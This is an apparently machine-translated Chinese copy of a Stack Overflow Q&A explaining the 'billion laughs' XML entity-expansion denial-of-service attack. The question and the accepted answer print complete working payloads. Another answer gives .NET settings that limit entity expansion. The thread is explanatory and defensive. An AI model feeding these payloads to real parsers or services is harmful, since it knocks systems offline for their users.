首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >十亿笑XML DoS攻击是如何工作的?

十亿笑XML DoS攻击是如何工作的?
EN

Stack Overflow用户
提问于 2010-08-10 16:28:48
回答 2查看 36.4K关注 0票数 71
代码语言:javascript
复制
<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

据推测,这被称为10亿笑DoS攻击。

有人知道它是怎么工作的吗?

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2012-07-14 20:08:31

数十亿笑攻击是针对XML解析器的拒绝服务攻击。数十亿笑攻击也被称为XML炸弹,或者更确切地说,是指数实体扩展攻击。即使使用格式良好的XML,也可能发生10亿次的笑攻击,并且还可以通过XML模式验证。

十亿分之一的笑攻击在下面表示的XML文件中得到了说明。

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

在本例中,有10个不同的XML实体,lol - lol9。第一个实体lol被定义为字符串“lol”。然而,每个其他实体被定义为另一个实体的10个。此XML文件的文档内容部分仅包含对实体lol9的一个实例的引用。但是,当被DOM或SAX解析器解析时,当遇到lol9时,它被扩展为10个lol8,每个lol8被扩展为10个lol7,依此类推。当所有内容都扩展到文本lol时,字符串"lol"有100,000,000个实例。如果还有一个实体,或者lol被定义为10个字符串的“lol”,那么就会有10亿“lol”,因此攻击的名称。不用说,这许多扩展消耗了大量的资源和时间,导致DOS。

在我的博客上有一个更广泛的解释。

票数 94
EN

Stack Overflow用户

发布于 2010-08-10 16:45:37

XML炸弹之一- http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

攻击者现在可以利用XML的这三个属性(替换实体、嵌套实体和内联DTD)来制造恶意XML炸弹。攻击者使用嵌套实体编写XML文档,就像前面的示例一样,但是他不只是嵌套一个层次的深度,而是将其实体嵌套为多个层次.

还有防止这些“炸弹”的代码(在.NET世界中):

代码语言:javascript
复制
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);
票数 27
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/3451203

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档